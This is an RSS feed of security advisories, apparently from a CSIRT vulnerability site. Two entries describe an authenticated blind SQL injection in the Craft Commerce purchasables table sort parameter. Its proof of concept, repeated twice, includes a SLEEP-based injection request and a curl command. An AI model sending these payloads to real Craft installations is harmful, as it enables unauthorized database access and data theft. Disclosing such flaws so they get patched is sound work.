<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sun, 18 Oct 2026 01:20:36 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-275453</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-275453</link>
      <description>EUVD-2026-275453</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-275453</guid>
    </item>
    <item>
      <title>fkie_cve-2026-29172</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-29172</link>
      <description>&lt;p&gt;Craft Commerce is an ecommerce platform for Craft CMS. Prior to 4.10.2 and 5.5.3, Craft Commerce is vulnerable to SQL Injection in the purchasables table endpoint. The sort parameter is split by | and the first part (column name) is passed directly as an array key to orderBy() without whitelist validation. Yii2&amp;#39;s query builder does NOT escape array keys, allowing an authenticated attacker to inject arbitrary SQL into the ORDER BY clause. This vulnerability is fixed in 4.10.2 and 5.5.3.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Craft Commerce is an ecommerce platform for Craft CMS. Prior to 4.10.2 and 5.5.3, Craft Commerce is vulnerable to SQL Injection in the purchasables table endpoint. The sort parameter is split by | and the first part (column name) is passed directly as an array key to orderBy() without whitelist validation. Yii2&amp;#39;s query builder does NOT escape array keys, allowing an authenticated attacker to inject arbitrary SQL into the ORDER BY clause. This vulnerability is fixed in 4.10.2 and 5.5.3.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-29172</guid>
    </item>
    <item>
      <title>GHSA-j3x5-mghf-xvfw — Craft Commerce is Vulnerable to SQL Injection in Commerce Purchasables Table Sorting</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-j3x5-mghf-xvfw</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Packagist: craftcms/commerce&lt;/p&gt;
&lt;p&gt;## Summary
Craft Commerce is vulnerable to **SQL Injection** in the purchasables table endpoint. The `sort` parameter is split by `|` and the first part (column name) is passed directly as an array key to `orderBy()` without whitelist validation. Yii2&amp;#39;s query builder does **NOT** escape array keys, allowing an authenticated attacker to inject arbitrary SQL into the `ORDER BY` clause.&lt;/p&gt;
&lt;p&gt;---
## PoC
### Required Permissions
- General
	- Access the control panel
	- Access Craft Commerce
- Craft Commerce
	- Manage orders
	- Edit orders&lt;/p&gt;
&lt;p&gt;### Steps to reproduce
1. Log in to the control panel
2. Navigate to **Commerce** &amp;gt; **Orders** &amp;gt; Create a new order
3. Click on &amp;#34;Add a line item&amp;#34; to show the purchasables table
4. Intercept the AJAX request and modify the `sort` parameter as follows:
```http
GET /index.php?p=admin/actions/commerce/orders/purchasables-table&amp;amp;siteId=1&amp;amp;sort=id,(SELECT%20SLEEP(2))|asc
```
5. Observe the delay in the response, confirming the injection&lt;/p&gt;
&lt;p&gt;Alternatively, you can use the following `curl` (bash syntax) command (replace cookie and target domain as needed):
```bash
curl --path-as-is -k -H $&amp;#39;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0&amp;#39; -H $&amp;#39;Accept: application/json, text/plain, */*&amp;#39; -b $&amp;#39;&amp;lt;Cookie&amp;gt;&amp;#39; $&amp;#39;http://craft.local/index.php?p=admin%2Factions%2Fcommerce%2Forders%2Fpurchasables-table&amp;amp;siteId=1&amp;amp;sort=id,(SELECT%20SLEEP(5))|asc&amp;#39;
```&lt;/p&gt;
&lt;p&gt;### Impact
With this Blind SQLi, an attacker can:
- **Exfiltrate data** character-by…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Packagist: craftcms/commerce&lt;/p&gt;
&lt;p&gt;## Summary
Craft Commerce is vulnerable to **SQL Injection** in the purchasables table endpoint. The `sort` parameter is split by `|` and the first part (column name) is passed directly as an array key to `orderBy()` without whitelist validation. Yii2&amp;#39;s query builder does **NOT** escape array keys, allowing an authenticated attacker to inject arbitrary SQL into the `ORDER BY` clause.&lt;/p&gt;
&lt;p&gt;---
## PoC
### Required Permissions
- General
	- Access the control panel
	- Access Craft Commerce
- Craft Commerce
	- Manage orders
	- Edit orders&lt;/p&gt;
&lt;p&gt;### Steps to reproduce
1. Log in to the control panel
2. Navigate to **Commerce** &amp;gt; **Orders** &amp;gt; Create a new order
3. Click on &amp;#34;Add a line item&amp;#34; to show the purchasables table
4. Intercept the AJAX request and modify the `sort` parameter as follows:
```http
GET /index.php?p=admin/actions/commerce/orders/purchasables-table&amp;amp;siteId=1&amp;amp;sort=id,(SELECT%20SLEEP(2))|asc
```
5. Observe the delay in the response, confirming the injection&lt;/p&gt;
&lt;p&gt;Alternatively, you can use the following `curl` (bash syntax) command (replace cookie and target domain as needed):
```bash
curl --path-as-is -k -H $&amp;#39;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0&amp;#39; -H $&amp;#39;Accept: application/json, text/plain, */*&amp;#39; -b $&amp;#39;&amp;lt;Cookie&amp;gt;&amp;#39; $&amp;#39;http://craft.local/index.php?p=admin%2Factions%2Fcommerce%2Forders%2Fpurchasables-table&amp;amp;siteId=1&amp;amp;sort=id,(SELECT%20SLEEP(5))|asc&amp;#39;
```&lt;/p&gt;
&lt;p&gt;### Impact
With this Blind SQLi, an attacker can:
- **Exfiltrate data** character-by…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-j3x5-mghf-xvfw</guid>
    </item>
  </channel>
</rss>
